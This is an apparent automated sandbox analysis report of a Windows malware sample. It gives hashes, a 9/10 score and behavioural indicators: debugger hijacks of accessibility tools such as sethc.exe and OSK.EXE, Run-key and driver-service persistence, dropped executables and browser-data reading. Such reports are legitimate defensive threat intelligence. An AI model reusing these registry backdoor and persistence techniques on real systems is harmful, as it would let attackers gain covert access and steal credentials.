9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4

Analysis

max time kernel
151s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20220901-en
resource tags

arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
submitted
25-11-2022 21:50

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
Size

2.2MB
MD5

5ed33d0581eb5573f314944d600cdc24
SHA1

c1f605daf9a9028df5613f6dbd1f7514667e19f3
SHA256

9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4
SHA512

264b84eaa6f52f043ff443182157776ece7095c826f4821ee10094a479b85035159eb9194a6c6c826e4d4f9ed0530eae0fc382eccfed8a72906a67b0c57b919b
SSDEEP

49152:8lHNiTu2rgJ28h1XyAZvz2zX1BqEKuDmvyG7:86Tfu2OzcFBqxEmqq

Score

9^/10

evasion persistence spyware stealer upx

Malware Config

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Disables RegEdit via registry modification 1 IoCs

evasion

Processes:

9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "0"	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe

Drops file in Drivers directory 1 IoCs

Processes:

9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe

description ioc process

File created C:\Windows\SysWOW64\drivers\IRAPTYCH.sys 9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
Executes dropped EXE 8 IoCs

Processes:

svchdsort.exesvchostrr.exesvkkk.exesvkkk.exesvkkk.exesvkkk.exesvkkk.exesvkkk.exe

pid process

4144 svchdsort.exe
620 svchostrr.exe
4488 svkkk.exe
3064 svkkk.exe
2732 svkkk.exe
3240 svkkk.exe
3724 svkkk.exe
4124 svkkk.exe
Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076

description	ioc	process
File created	C:\Windows\SysWOW64\drivers\IRAPTYCH.sys	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe

pid	process
4144	svchdsort.exe
620	svchostrr.exe
4488	svkkk.exe
3064	svkkk.exe
2732	svkkk.exe
3240	svkkk.exe
3724	svkkk.exe
4124	svkkk.exe

Sets file execution options in registry 2 TTPs 35 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exeregini.exeregini.exeregini.exeregini.exeregini.exeregini.exeregini.exeregini.exeregini.exeregini.exeregini.exeregini.exeregini.exeregini.exeregini.exeregini.exeregini.exeregini.exeregini.exeregini.exeregini.exeregini.exeregini.exeregini.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\WINDOWS\\SoftwareDistribution\\DataStore\\Logs\\svhoss.exe"	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\OSK.EXE	regini.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options	regini.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe	regini.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe	regini.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\OSK.EXE	regini.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options	regini.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe	regini.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe	regini.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe	regini.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options	regini.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe	regini.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options	regini.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\OSK.EXE	regini.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mmc.exe	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\WINDOWS\\Registration\\CRMLog\\kk.bat"	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe	regini.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options	regini.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe	regini.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\WINDOWS\\Registration\\CRMLog\\kk.exe"	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\OSK.EXE	regini.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe	regini.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\OSK.EXE	regini.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\OSK.EXE	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\WINDOWS\\system32\\svchostaao.exe"	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\OSK.EXE\Debugger = "C:\\WINDOWS\\security\\Database\\ko.exe"	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mmc.exe\Debugger = "C:\\WINDOWS\\"	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options	regini.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe	regini.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\OSK.EXE	regini.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe	regini.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe	regini.exe

Sets service image path in registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\IRAPTYCH\ImagePath = "\\??\\C:\\Windows\\system32\\drivers\\IRAPTYCH.sys"	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
C:\Windows\SysWOW64\svchostrr.exe	upx
C:\WINDOWS\SysWOW64\svchostrr.exe	upx
behavioral2/memory/620-146-0x0000000000400000-0x000000000049A000-memory.dmp	upx

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ = "C:\\WINDOWS\\system32\\svchostaao.exe"	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe

Enumerates connected drives 3 TTPs 24 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

svchdsort.exe

description	ioc	process
File opened (read-only)	\??\A:	svchdsort.exe
File opened (read-only)	\??\E:	svchdsort.exe
File opened (read-only)	\??\J:	svchdsort.exe
File opened (read-only)	\??\T:	svchdsort.exe
File opened (read-only)	\??\X:	svchdsort.exe
File opened (read-only)	\??\S:	svchdsort.exe
File opened (read-only)	\??\Y:	svchdsort.exe
File opened (read-only)	\??\F:	svchdsort.exe
File opened (read-only)	\??\I:	svchdsort.exe
File opened (read-only)	\??\N:	svchdsort.exe
File opened (read-only)	\??\O:	svchdsort.exe
File opened (read-only)	\??\R:	svchdsort.exe
File opened (read-only)	\??\U:	svchdsort.exe
File opened (read-only)	\??\V:	svchdsort.exe
File opened (read-only)	\??\W:	svchdsort.exe
File opened (read-only)	\??\B:	svchdsort.exe
File opened (read-only)	\??\G:	svchdsort.exe
File opened (read-only)	\??\L:	svchdsort.exe
File opened (read-only)	\??\M:	svchdsort.exe
File opened (read-only)	\??\P:	svchdsort.exe
File opened (read-only)	\??\H:	svchdsort.exe
File opened (read-only)	\??\K:	svchdsort.exe
File opened (read-only)	\??\Q:	svchdsort.exe
File opened (read-only)	\??\Z:	svchdsort.exe

Drops file in System32 directory 9 IoCs

Processes:

9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe

description	ioc	process
File created	C:\WINDOWS\SysWOW64\regini.ini	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
File opened for modification	C:\WINDOWS\SysWOW64\regini.ini	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
File created	C:\WINDOWS\SysWOW64\cmd.exe	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
File opened for modification	C:\WINDOWS\SysWOW64\svkkk.exe	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
File created	C:\WINDOWS\SysWOW64\svchostaao.exe	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
File opened for modification	C:\WINDOWS\SysWOW64\svchostaao.exe	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
File created	C:\WINDOWS\SysWOW64\svchdsort.exe	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
File created	C:\WINDOWS\SysWOW64\svchostrr.exe	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
File created	C:\WINDOWS\SysWOW64\svkkk.exe	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe

Drops file in Windows directory 8 IoCs

Processes:

9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe

description	ioc	process
File created	C:\WINDOWS\Registration\CRMLog\servero.exe	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
File created	C:\WINDOWS\SoftwareDistribution\DataStore\Logs\svhoss.exe	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
File created	C:\WINDOWS\security\Database\kk.bat	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
File created	C:\WINDOWS\security\Database\ko.exe	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
File opened for modification	C:\WINDOWS\Registration\CRMLog\servero.exe	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
File opened for modification	C:\WINDOWS\SoftwareDistribution\DataStore\Logs\svhoss.exe	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
File opened for modification	C:\WINDOWS\security\Database\kk.bat	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
File opened for modification	C:\WINDOWS\security\Database\ko.exe	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe

Modifies Internet Explorer settings 1 TTPs 64 IoCs

adware spyware

Modify Registry

T1112

Processes:

9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exeregini.exeregini.exeregini.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\www.2345.com\ = "26540"	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\www.2345.com\ = "51990"	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\www.2345.com\ = "68333"	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\Total\ = "26474"	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\www.2345.com\ = "26502"	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\www.2345.com\ = "63807"	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\2345.com\Total = "63819"	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\Total\ = "98748"	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\2345.com\Total = "70937"	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\2345.com\Total = "100475"	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\MAIN	regini.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\Total\ = "63819"	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\Total\ = "64394"	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\2345.com\Total = "68333"	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\2345.com\Total = "69635"	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\Total\ = "70990"	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\www.2345.com\ = "98748"	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Internet Explorer\DOMStorage\2345.com	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\Total\ = "21839"	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\2345.com\Total = "45708"	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\2345.com\Total = "63794"	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\Total\ = "66173"	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\2345.com\Total = "96127"	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\2345.com\Total = "97455"	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\International\CpMRU\Factor = "20"	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\www.2345.com\ = "63819"	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\www.2345.com\ = "96127"	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\Total\ = "26540"	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\2345.com\Total = "94843"	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\Total\ = "100475"	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\Total\ = "45708"	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\2345.com\Total = "63902"	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\Total\ = "96127"	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
Key created	\REGISTRY\USER\S-1-5-21-87580580-1600739663-3346513409-500\Software\Microsoft\Internet Explorer\Mainy	regini.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\Total\ = "101979"	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\2345.com\Total = "27095"	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\www.2345.com\ = "65252"	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\www.2345.com\ = "65315"	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\2345.com\Total = "101941"	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\www.2345.com\ = "101979"	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\www.2345.com\ = "99191"	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\International\CpMRU\Enable = "1"	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\www.2345.com\ = "37"	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\2345.com\Total = "26557"	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\Total\ = "58933"	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\Total\ = "63807"	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\www.2345.com\ = "92275"	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\Total\ = "93559"	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\Total\ = "68333"	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\Total\ = "70937"	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\2345.com\Total = "47630"	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\Total\ = "63873"	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\2345.com\Total = "66173"	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\www.2345.com\ = "89671"	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\www.2345.com\ = "93559"	9016e3c9d78a57f171f7bc9e90cd334bde5361f1e5b3aefc423a882ffd2f94d4.exe
